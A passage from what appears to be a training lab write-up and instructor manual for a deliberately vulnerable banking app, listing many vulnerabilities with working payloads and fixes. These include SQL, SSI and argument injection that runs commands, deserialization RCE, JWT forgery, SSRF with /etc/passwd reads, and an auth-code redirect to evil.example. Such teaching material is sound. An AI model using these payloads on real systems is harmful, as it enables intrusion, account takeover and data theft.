 - **VB-140 Webhook tester** — `POST /webhook {"url":"http://127.0.0.1:3000/debug"}` — same primitive, verified.
 - **VB-142 Filter-bypass practice** — try `localhost`, `0.0.0.0`, `127.1`, decimal IP `2130706433`.
 - **Fix:** allow-list egress hosts, block link-local/loopback/RFC1918, resolve+pin DNS, no raw response reflection.
-

ADDITIONAL WIRED VARIANTS (batch 2 — all verified firing)

Injection variants

VB-044 NoSQL / object injection — login bypass

- **Location:** `POST /nosql-login` — `src/routes/injection2.js`
- **Proxy steps:** Repeater. Set `Content-Type: application/json`, body `{"username":"admin","password":{"$ne":"x"}}`.
- **Result:** `{"ok":true,"role":"admin"}` — operator object bypasses the password check. Verified.
- **Fix:** Reject non-string credentials; cast/validate types; use parameterized queries.

VB-023 boolean-blind & VB-024 time-based SQLi

- **Location:** `GET /blind?id=` — `src/routes/injection2.js`
- **Steps:** Repeater. `id=1 AND 1=1` → "User exists"; `id=1 AND 1=2` → "User not found" (boolean oracle). Time oracle: `id=1 AND 1=randomblob(100000000)` delays the response. Automate extraction with **sqlmap** pointed at the endpoint, or Burp Intruder + Grep-Match on "User exists".
- **Fix:** Parameterized queries.

VB-025 second-order SQLi

- **Location:** `POST /so/set-nick` then `GET /so/lookup` — `src/routes/injection2.js`
- **Steps:** Store a payload nick (step 1), then trigger `/so/lookup` (step 2) where the stored value is concatenated into SQL. Classic two-request chain in Repeater.
- **Fix:** Parameterize on *use*, not just on input.

VB-026 header-based SQLi

- **Location:** `GET /track` (uses `User-Agent`) — `src/routes/injection2.js`
- **Steps:** In Repeater set header `User-Agent: x' UNION SELECT password FROM users WHERE username='admin' --`.
- **Result:** Returns admin's password. Verified. Teaches attacking non-obvious injection points (headers/cookies).
- **Fix:** Never build SQL from any request-controlled value, headers included.

VB-053 ReDoS

- **Location:** `GET /validate?email=` — `src/routes/injection2.js`
- **Steps:** Send `email=` + `30x a` + `!`. The catastrophic-backtracking regex hangs the single-threaded Node event loop (~60s in testing → full DoS).
- **Fix:** Linear-time regex / `re2`; input length caps; timeouts.

JWT attack suite

VB-062 Algorithm confusion (RS256 → HS256)

- **Location:** `GET /jwt/rs256/whoami` — `src/routes/jwtlab.js`; public key at `/jwt/pubkey`.
- **Steps (Burp JWT Editor):** Grab the public key from `/jwt/pubkey`. Forge an **HS256** token using the public-key PEM bytes as the HMAC secret, payload `{"sub":1,"role":"admin"}`. Send with `Authorization: Bearer <token>`. (Convenience: `GET /jwt/forge-demo` returns a ready forged token.)
- **Result:** Verified as admin. The server misconfig allows both RS256 and HS256 with the public key.
- **Fix:** Pin `algorithms:['RS256']`; keep verification key type and alg consistent.

VB-060 kid header injection

- **Location:** `GET /jwt/kid/whoami` — the `kid` header is a filesystem path to the key.
- **Steps:** Craft `{"alg":"HS256","kid":"/dev/null"}`, sign with an **empty** secret. `/dev/null` reads as an empty key, so the signature verifies.
- **Result:** Verified admin claims with an empty key. Verified.
- **Fix:** Treat `kid` as an opaque lookup into a trusted keystore; never a path.

GraphQL (`/graphql`, GraphiQL enabled)

VB-175 introspection + VB-182 excessive exposure + VB-179 BOLA + VB-178 no field authz

- **Steps:** Browse `/graphql` (GraphiQL). Run the introspection query (Docs tab) to dump the schema. Then: `graphql { account(id:1){ acct_number balance owner{ username password ssn card_number } } }`
- **Result:** Any account + owner secrets returned with no authz. Verified.
- **VB-176 batching/alias brute:** send many aliased `login` fields in one request to bypass per-request rate limiting: `graphql { a:login(username:"admin",password:"admin"){role} b:login(username:"admin",password:"x"){role} }`
- **VB-177 nested-query DoS:** deeply nest `owner{ accounts{ owner{ accounts{...}}}}`.
- **Fix:** Disable introspection in prod, field-level authz, query depth/cost limits, drop sensitive fields.

A08 Integrity

VB-130/131 Insecure deserialization → RCE

- **Location:** `GET /integrity/prefs/load?prefs=<base64>` — `node-serialize.unserialize`.
- **Steps:** `GET /integrity/prefs/poc` returns a ready base64 payload (benign marker-file PoC). Send it as `?prefs=`. The embedded IIFE executes server-side.
- **Result:** Verified — wrote `/tmp/vulnbank_deser_pwned` (swap for any command).
- **Fix:** Never deserialize untrusted data with code-capable formats; use plain JSON + schema validation.

VB-196 Zip Slip

- **Location:** `POST /integrity/import-zip` (multipart `archive`).

- **Steps:** Craft a zip whose entry name is `../../../../tmp/evil.txt` (Python `zipfile.writestr` preserves it). Upload it.
- **Result:** Verified — file written **outside** the extraction directory.
- **Fix:** Resolve each entry and confirm it stays within the target dir before writing.

VB-135 CSV / formula injection

- **Location:** `GET /integrity/export.csv`.
- **Steps:** Store a transfer memo `=cmd|'/C calc '!A1` (or `=1+1`), then download the CSV; the cell is unescaped and executes when opened in a spreadsheet.
- **Result:** Verified — `=cmd|calc!A1` present in exported CSV.
- **Fix:** Prefix cells starting with `= + - @` with a quote; set safe content types.

A02 Weak crypto (extra)

VB-068 AES-ECB pattern leakage

- **Location:** `GET /crypto/ecb?text=` — identical 16-byte plaintext blocks → identical ciphertext blocks (verified). Classic "ECB penguin".
- **Fix:** Use AES-GCM (authenticated) with random nonces.

VB-072 Reversible "encryption" token

- **Location:** `GET /crypto/token` / `GET /crypto/whoami?token=` — token is base64 of `user:role`.
- **Steps:** Decode in Burp Decoder, change `user:user` → `user:admin`, re-encode, replay. Verified `admin:true`.
- **Fix:** Signed tokens (HMAC/JWT with pinned alg) or server-side sessions.

A07 OTP / MFA

VB-098 client-side OTP + VB-099 brute + VB-100 reuse

- **Location:** `GET /otp/mfa/send`, `POST /otp/mfa/verify` — `src/routes/otp.js`.
- **Steps:** `mfa/send` leaks `debug_otp` to the client (client-side check → bypass in browser). Server-side: Burp **Intruder** over `code=0000..9999` with no lockout finds it; the code stays valid after use (reuse).
- **Fix:** Never send the OTP to the client; server-side verification, attempt limits, single-use, TOTP.

A01/Client-side (extra)

VB-173 Cross-Site WebSocket Hijacking + VB-174 missing message authz

- **Location:** `ws://127.0.0.1:3000/ws` — no `Origin` check, no per-message authz.
- **Steps:** From any origin, open the socket and send `{"cmd":"getUser","id":1}` / `{"cmd":"getAccount","id":1}`. Use Burp's WebSocket history/repeater or a small JS PoC page hosted on a different origin.
- **Result:** Verified — cross-origin page pulled admin's record incl. password.
- **Fix:** Validate `Origin` on upgrade, authenticate the socket, authorize every message, use CSRF-style WS tokens.

ADDITIONAL WIRED VARIANTS (batch 3 — all verified firing)

Injection (more)

VB-049 SSI injection

- **Location:** `GET /ssi?tpl=` — `src/routes/injection3.js`
- **Steps:** Repeater: `tpl=x<!--#exec cmd="id"-->` (URL-encode `#` as `%23`). Also `<!--#include file="/etc/passwd"-->`.
- **Result:** Command output returned (`uid=...`). Verified.
- **Fix:** Disable SSI processing of user input; never eval directives from data.

VB-048 LDAP injection

- **Location:** `GET /ldap?user=` — filter built by string concat.
- **Steps:** `user=*` (wildcard → matches all), or inject filter meta `user=admin)()`.
- **Result:** Returns all directory entries. Verified.
- **Fix:** Escape LDAP special chars; parameterized filters.

VB-029 Stacked-query SQLi

- **Location:** `GET /note?data=` (uses `db.exec`, multi-statement).
- **Steps:** `data=x'); UPDATE users SET role='admin' WHERE username='alice'; --`
- **Result:** alice escalated to admin. Verified.
- **Fix:** Parameterized single-statement queries; never `exec` user input.

VB-028 ORDER BY / column-name SQLi

- **Location:** `GET /sortusers?order=` (non-parameterizable context).
- **Steps:** `order=(CASE WHEN (SELECT password FROM users WHERE id=1) LIKE 'a%' THEN id ELSE username END)` — boolean-blind extraction via sort order.
- **Fix:** Allow-list sortable columns; map to fixed identifiers.

VB-042 Argument injection (option smuggling)

- **Location:** `GET /archive?path=` — args passed to `tar` split on spaces.
- **Steps:** `path=--checkpoint=1 --checkpoint-action=exec=id .` → tar executes `id` (no shell metacharacters needed).
- **Result:** Command execution. Verified. Teaches injection that survives shell-metachar filtering.
- **Fix:** Use `--` to end options, validate/allow-list arguments, avoid passing user data as flags.

Business logic (more)

VB-172 HTTP Parameter Pollution

- **Location:** `GET /pay?amount=` — validation reads first value, charge uses last.

- **Steps:** `?amount=1&amount=1000000` → limit check sees `1`, charge is `1000000`. Verified.
- **Fix:** Reject duplicate params; canonicalize before validating and using.

VB-104 Password change without current password

- **Location:** `POST /account/password` — session identity only.
- **Steps:** `new=hacked`. Chained with CSRF/XSS → account takeover. Verified.
- **Fix:** Require and verify the current password; re-auth for sensitive changes.

VB-085 Client-trusted price

- **Location:** `POST /shop/buy` — server trusts body `price`.
- **Steps:** `{"item":"Gold Card","price":0}` → charged 0. Verified.
- **Fix:** Look up price server-side from a catalog; never trust client amounts.

VB-086 Voucher/gift-card enumeration

- **Location:** `GET /voucher?code=` — unlimited attempts, boolean oracle.
- **Steps:** Burp **Intruder** over `GIFT-####`; grep `"valid":true`. Verified for `GIFT-0042`.
- **Fix:** Rate-limit, lockout, generic responses, high-entropy codes.

VB-080 Currency rounding abuse

- **Location:** `GET /fx?amount=` — debit floored, credit rounded.
- **Steps:** Loop small amounts (`0.4`) where debit floors to 0 but credit rounds up.
- **Fix:** Consistent banker's rounding; integer minor-units; atomic accounting.

Integrity / crypto (more)

VB-136 Unverified webhook signature

- **Location:** `POST /integrity/webhook/receive` — HMAC header ignored.
- **Steps:** `{"event":"deposit","amount":999999,"acct":2}` → balance credited with no signature. Verified.
- **Fix:** Verify `HMAC(secret, requestBody)` in constant time before acting.

VB-071 Hash length-extension

- **Location:** `GET /crypto/sign` / `/crypto/verify` — `MAC = md5(secret||data)`.
- **Steps:** Get a valid `(data, mac)` from `/crypto/sign`. Use `hashpump -s <mac> -d "<data>" -a "&admin=1" -k <keylen>` to forge a MAC for extended data without the secret; replay to `/crypto/verify`.
- **Fix:** Use HMAC (which is length-extension resistant), not `hash(secret||data)`.

OAuth

VB-103 Unvalidated `redirect_uri` + VB-102 missing `state`

- **Location:** `GET /oauth/authorize`, `/oauth/callback` — `src/routes/oauth.js`

- **Steps:** `authorize?client_id=vb&redirect_uri=https://evil.example&state=abc` → redirects the auth code to any host. `/callback` never validates `state` → login CSRF. Verified redirect to `evil.example?code=...`
- **Fix:** Strict allow-list of `redirect_uri`; generate + verify `state`.

Web cache & content-type

VB-159 Cache poisoning (unkeyed header)

- **Location:** `GET /home-banner` reflects `X-Forwarded-Host` into a cacheable response.
- **Steps:** Send `X-Forwarded-Host: evil.example`; response (cacheable, header unkeyed) now serves an attacker script tag to all users. Verified. Use **Param Miner** to find unkeyed headers.
- **Fix:** Key the cache on all reflected inputs, or don't reflect untrusted headers.

VB-160 Cache deception

- **Location:** `GET /account-info/*.css` — private data served with static-style caching.
- **Steps:** Lure a victim to `/account-info/x.css`; a shared cache stores their private page for you to fetch.
- **Fix:** Don't cache authenticated responses; validate path/extension mapping.

VB-165 Content-type sniffing

- **Location:** `GET /raw?body=` — no `X-Content-Type-Options: nosniff`.
- **Steps:** `body=<script>alert(1)</script>`; browsers may sniff HTML and execute.
- **Fix:** Send `nosniff`; correct content types; `Content-Disposition: attachment` for downloads.

Client-side (`GET /client` — use browser DevTools)

- **VB-032 DOM XSS:** visit `/client#<img src=x onerror=alert(document.domain)>` — `location.hash` flows into `innerHTML`.
 - **VB-157 Reverse tabnabbing:** the `target=_blank` link has no `rel="noopener"`; the opened page can rewrite `window.opener.location` (phishing).
 - **VB-166 postMessage:** the handler never checks `event.origin` — any page can post messages that are rendered.
 - **VB-167 DOM clobbering:** injected `<a id=config><a id=config name=isAdmin>` makes `window.config.isAdmin` truthy → "ADMIN MODE".
 - **VB-169 Secrets in localStorage:** `authToken / pan` stored in `localStorage`, stealable by any XSS.
 - **Fix:** Encode DOM sinks + CSP; `rel="noopener noreferrer"`; validate `event.origin`; avoid named-element globals; keep secrets out of web storage.
-

ADDITIONAL WIRED VARIANTS (batch 4 — all verified firing)

VB-070 Padding oracle (AES-CBC)

- **Location:** `GET /crypto/po/token` , `GET /crypto/po/decrypt?data=` — `src/routes/cryptolab.js`
- **Steps:** Get `iv:ct` from `/po/token` . Flip a ciphertext byte and submit to `/po/decrypt` : bad padding → **403 "padding error"**, valid padding/bad content → **400 "content error"**. That distinguishable response is the oracle. Automate with **padbuster** / a CBC padding-oracle script to decrypt and forge tokens without the key.
- **Result:** Verified — 200 (valid) vs 403 (tampered).
- **Fix:** Authenticated encryption (AES-GCM); identical error + timing for all failures.

VB-046 Log injection / forged entries

- **Location:** `GET /track-event?name=` , viewer `GET /logs` .
- **Steps:** `name=login%0aFAKE: ADMIN GRANTED` — the newline forges a second log line; `/logs` renders it (also XSS since unescaped).
- **Result:** Verified forged line in the log.
- **Fix:** Strip/encode CR/LF, structured logging, output-encode when displaying.

VB-050 SMTP / email header injection

- **Location:** `GET /contact?subject=` — raw headers built from input.
- **Steps:** `subject=hi%0aBcc:victim@x.com` — CRLF smuggles a `Bcc` header into the message.
- **Result:** Verified injected `Bcc` .
- **Fix:** Reject CR/LF in header fields; use a mail library that separates headers from data.

VB-047 XPath injection

- **Location:** `GET /xpath?user=` — filter built by concatenation.
- **Steps:** `user=' or '1'='1` → returns all users (auth-bypass pattern).
- **Result:** Verified matched all.
- **Fix:** Parameterized XPath / precompiled expressions; escape input.

VB-194 Expensive query (DoS)

- **Location:** `GET /report?n=` — cartesian join, no pagination (capped at n=5 so the lab survives).
- **Steps:** Increase `n` ; rows scanned grows geometrically. Illustrates unbounded queries.
- **Fix:** Mandatory `LIMIT` / pagination, query cost limits, timeouts.

VB-145 SSRF non-HTTP scheme + VB-069 blocklist bypass

- **Location:** `GET /proxy?url=` — `src/routes/advanced.js`
- **Steps:** `url=file:///etc/passwd` (file scheme read). Blocklist only bans `localhost` / `127.0.0.1` , so `url=http://0.0.0.0:3000/debug` (or `127.1` , decimal IP, `:::1`) reaches internal services.
- **Result:** Verified — `file://` leaked hostname; `0.0.0.0` reached internal `/version` while `127.0.0.1` returned 403.

- **Fix:** Allow-list egress, resolve+validate final IP against RFC1918/loopback/link-local, disable non-HTTP schemes.

VB-034 Reflected XSS in 404 page

- **Location:** Express 404 handler in `src/server.js` (path echoed unescaped).
- **Steps:** Visit `/nonexistent<script>alert(1)</script>`.
- **Fix:** HTML-encode the reflected path; static error pages; CSP.

VB-035 Referrer-reflected XSS + VB-038 JSON served as `text/html`

- **Location:** `GET /welcome` (reflects `Referer`), `GET /api-echo` (JSON with `Content-Type: text/html`).
- **Steps:** Set header `Referer: <script>alert(1)</script>`; or hit `/api-echo?q=<script>...` where the wrong content type lets the browser execute it.
- **Fix:** Encode all reflected values; send correct `application/json` + `nosniff`.

VB-154 CSRF via GET + VB-155 JSON CSRF

- **Location:** `GET /quick-transfer?to=&amount=` — state change over GET, no token.
- **Steps:** Host `` on any page; a logged-in victim who loads it transfers funds. Verified transfer with no token.
- **Fix:** CSRF tokens, `SameSite` cookies, never mutate state on GET, enforce content type.

VB-092 Timing-based username enumeration

- **Location:** `GET /user-check?u=` — valid users incur an extra delay.
- **Steps:** Compare response times: `admin` $\approx$ 0.30s vs unknown $\approx$ 0.001s (verified). Burp Intruder + response-time column.
- **Fix:** Constant-time comparisons and uniform response times/paths.

VB-198 EXIF metadata not stripped

- **Location:** `POST /upload` then `GET /exif?file=` — uploads retain metadata.
 - **Steps:** Upload a JPEG with EXIF; `/exif?file=` reports `exif_present:true` (GPS/camera data leaks to anyone who fetches the image). Verified.
 - **Fix:** Strip metadata on upload; re-encode images server-side.
-

ADDITIONAL WIRED VARIANTS (batch 5 — all verified firing)

VB-206 / VB-207 GraphQL mutations without authorization

- **Location:** `POST /graphql` — `setRole`, `transfer` mutations (`src/routes/graphql.js`).
- **Steps:** In GraphQL: `mutation{ setRole(userId:5, role:"admin"){username role} }` grants admin; `mutation{ transfer(from:1,to:4,amount:5000){balance} }` moves funds. No authz/limits.
- **Result:** Verified — carol→admin; \$5,000 moved.
- **Fix:** Enforce authentication + field/mutation-level authorization and business limits in resolvers.

VB-208 Broken function-level authz via HTTP verb (no-auth PUT)

- **Location:** `PUT /user/:id` — `src/routes/morevulns.js` . UI exposes only GET reads; PUT updates any user (mass assignment).
- **Steps:** `curl -X PUT /user/4 -H 'Content-Type: application/json' -d '{"role":"admin"}'` .
- **Result:** Verified — bob→admin with no session. Test every verb, not just the ones the UI uses.
- **Fix:** Consistent authorization across all methods; whitelist writable fields.

VB-209 IDOR via predictable account number

- **Location:** `GET /api/acct?num=` — no ownership check, account numbers are sequential (`ACCT-100X`).
- **Steps:** Enumerate `num=ACCT-1000` (treasury) with Burp Intruder.
- **Result:** Verified — returns treasury account.
- **Fix:** Authorize by session ownership; use unguessable identifiers.

VB-210 Reflected File Download (RFD)

- **Location:** `GET /statement/export?name=` — user controls the download filename.
- **Steps:** `name=Meridian-Statement.bat` → a trusted-domain download with an executable extension and attacker-controllable content.
- **Result:** Verified — `Content-Disposition: attachment; filename="Meridian-Statement.bat"` .
- **Fix:** Fixed server-side filenames; sanitize; safe content types.

VB-211 Stored XSS via username (admin widget)

- **Location:** `GET /admin/recent` renders usernames unescaped.
- **Steps:** Register username `<script>...</script>` ; when an admin views the recent-signups widget it executes (blind/stored XSS).
- **Result:** Verified — payload rendered unescaped.
- **Fix:** Output-encode all user data; validate username charset; CSP.

VB-212 Prototype pollution → privilege escalation

- **Location:** pollute at `POST /profile/:id` (VB-124), exploit at `GET /feature/flags` .
- **Steps:** Authenticated JSON `{"__proto__":{"isAdmin":true,"premium":true}}` to `/profile/1` , then `GET /feature/flags` .
- **Result:** Verified — flags flip to `isAdmin:true` process-wide until restart.

- **Fix:** Block `__proto__` / `constructor` / `prototype` keys; `Object.create(null)`; `Map`.

VB-213 Billion-laughs / XML entity-expansion DoS

- **Location:** `POST /import/xml2` — unbounded internal-entity expansion (capped at 5 MB so the lab survives).
- **Steps:** Post nested `<!ENTITY lolN "&lolN-1;...">` definitions; the amplification factor explodes.
- **Result:** Verified — small input expands sharply (add nesting levels for exponential growth).
- **Fix:** Disable DTDs/entity expansion; limit document/entity size.

VB-214 Forgeable "remember me" cookie → impersonation

- **Location:** `GET /remember?user=` sets `remember = base64(username)`; the server middleware trusts it.
- **Steps:** Set `Cookie: remember=YWRtaW4=` (base64 of `admin`) on any request.
- **Result:** Verified — authenticated as admin with a forged cookie.
- **Fix:** Signed/random opaque tokens bound server-side; `HttpOnly` + `Secure`; rotate and expire.

Coverage note

This writeup documents the **verified, firing** subset that has dedicated endpoints in the current build. The full 200+ catalogue (variants such as blind/time-based SQLi, the complete JWT `kid` / `jku` suite, WebSocket/GraphQL, DoS/ReDoS, and file-upload chains) is enumerated in [IMPLEMENTATION-PLAN.md](#); items not yet wired as endpoints are marked there and make natural student "extend-the-lab" exercises. Each finding here maps 1:1 to a `VB-###` id in that plan.

&x;

PART 4

Instructor Lab Manual & Student Checklist

A suggested teaching flow mapped to the OWASP Top 10 (2021). Full exploit steps with proxy-tool instructions are in [FINDINGS.md](#).

Suggested session order (2-4 lab sessions)

1. **Recon & proxy setup** — configure Burp/ZAP, map the app, read `/robots.txt`, `/version`.
2. **A01 Access Control** — IDOR, mass assignment, admin panel, path traversal.
3. **A03 Injection** — SQLi, XSS, command injection, SSTI, XXE.
4. **A02 & A07 Crypto/Auth** — JWT attacks, plaintext creds, brute force, session flaws.
5. **A04/A05/A06** — business logic, misconfig, vulnerable components.
6. **A08/A09/A10** — integrity, logging gaps, SSRF.

Student worksheet (fill in as you go)

For each finding: record the **request** (from proxy history), the **payload**, the **evidence** (response snippet/screenshot), the **impact**, and the **remediation**.

#	OWASP	Vulnerability	Endpoint	Payload used	Evidence	Impact	Fix
VB-001	A01	IDOR – account	/account/:id				
VB-007	A01	Mass assignment	POST /profile/:id				
VB-005	A01	Missing func-level authz	/admin				
VB-009	A01	Path traversal	/download?file=				
VB-021	A03	SQLi login bypass	POST /login				
VB-022	A03	UNION SQLi	/search?q=				
VB-030	A03	Stored XSS	POST /transfer memo				
VB-040	A03	Command injection	POST /admin/ping				
VB-043	A03	SSTI	/greet				
VB-161	A03	XXE	POST /import/xml				
VB-055	A02	Plaintext passwords	/api/v1/users				
VB-059	A02	Weak JWT secret	POST /api/login				
VB-014	A02	JWT alg:none	/api/users				
VB-065	A02	Predictable reset token	POST /reset				
VB-075	A04	Negative transfer	POST /transfer				
VB-077	A04	Race condition	POST /transfer				
VB-106	A05	Debug/env exposure	/debug				
VB-114	A05	Unrestricted upload	POST /upload				
VB-124	A06	Prototype pollution	POST /profile/:id				
VB-087	A07	Brute force / no lockout	POST /login				
VB-101	A07	Header-trust auth	any + X-User-Id				
VB-138	A10	SSRF avatar-by-URL	/avatar/fetch?url=				
VB-140	A10	SSRF webhook	POST /webhook				
VB-044	A03	NoSQL/object injection	POST /nosql-login				
VB-023	A03	Blind/time SQLi	/blind?id=				
VB-025	A03	Second-order SQLi	/so/set-nick , /so/ lookup				
VB-026	A03	Header SQLi	/track (User-Agent)				
VB-053	A03	ReDoS	/validate?email=				

#	OWASP	Vulnerability	Endpoint	Payload used	Evidence	Impact	Fix
VB-062	A02	JWT alg confusion	/jwt/rs256/whoami				
VB-060	A02	JWT kid injection	/jwt/kid/whoami				
VB-175	A03	GraphQL introspection/BOLA	/graphql				
VB-130	A08	Insecure deserialization	/integrity/prefs/load				
VB-196	A08	Zip Slip	POST /integrity/import-zip				
VB-135	A08	CSV formula injection	/integrity/export.csv				
VB-068	A02	AES-ECB leakage	/crypto/ecb				
VB-072	A02	Reversible token	/crypto/whoami				
VB-098	A07	OTP bypass/brute	/otp/mfa/*				
VB-173	A01	WebSocket hijacking	ws:///ws				
VB-049	A03	SSI injection	/ssi?tpl=				
VB-048	A03	LDAP injection	/ldap?user=				
VB-029	A03	Stacked-query SQLi	/note?data=				
VB-028	A03	ORDER BY SQLi	/sortusers?order=				
VB-042	A03	Argument injection	/archive?path=				
VB-172	A04	HTTP Parameter Pollution	/pay?amount=				
VB-104	A04	Password change no current	POST /account/password				
VB-085	A04	Client-trusted price	POST /shop/buy				
VB-086	A04	Voucher enumeration	/voucher?code=				
VB-080	A04	Currency rounding abuse	/fx?amount=				
VB-136	A08	Unverified webhook sig	POST /integrity/webhook/receive				
VB-071	A02	Hash length-extension	/crypto/sign , /crypto/verify				
VB-103	A01	OAuth redirect_uri/state	/oauth/authorize				
VB-159	A05	Cache poisoning	/home-banner (X-Forwarded-Host)				
VB-160	A05	Cache deception	/account-info/*.css				

#	OWASP	Vulnerability	Endpoint	Payload used	Evidence	Impact	Fix
VB-165	A05	Content-type sniffing	/raw?body=				
VB-032	A03	DOM XSS	/client#...				
VB-157	A05	Reverse tabnabbing	/client				
VB-166	A05	postMessage no origin	/client				
VB-167	A05	DOM clobbering	/client				
VB-169	A02	Secrets in localStorage	/client				
VB-070	A02	Padding oracle	/crypto/po/*				
VB-046	A09	Log injection	/track-event , /logs				
VB-050	A03	SMTP header injection	/contact				
VB-047	A03	XPath injection	/xpath?user=				
VB-194	A04	Expensive-query DoS	/report?n=				
VB-145	A10	SSRF file:// + bypass	/proxy?url=				
VB-034	A03	404 reflected XSS	<payload>				
VB-035	A03	Referer XSS	/welcome				
VB-038	A03	JSON-as-HTML XSS	/api-echo?q=				
VB-154	A01	CSRF via GET	/quick-transfer				
VB-092	A07	Timing user enum	/user-check?u=				
VB-198	A05	EXIF not stripped	/exif?file=				
VB-206	A01	GraphQL mutation no authz	POST /graphql				
VB-208	A01	No-auth PUT mass assign	PUT /user/:id				
VB-209	A01	IDOR by account number	/api/acct?num=				
VB-210	A05	Reflected File Download	/statement/export?name=				
VB-211	A03	Stored XSS via username	/admin/recent				
VB-212	A06	Proto-pollution privesc	/profile → /feature/flags				
VB-213	A03	Billion-laughs XML bomb	POST /import/xml2				

#	OWASP	Vulnerability	Endpoint	Payload used	Evidence	Impact	Fix
VB-214	A07	Forgeable remember-me	/remember?user=				

Grading rubric (suggested)

- **Discovery** (found it via proxy): 40%
- **Exploitation** (working PoC): 40%
- **Remediation** (correct fix described): 20%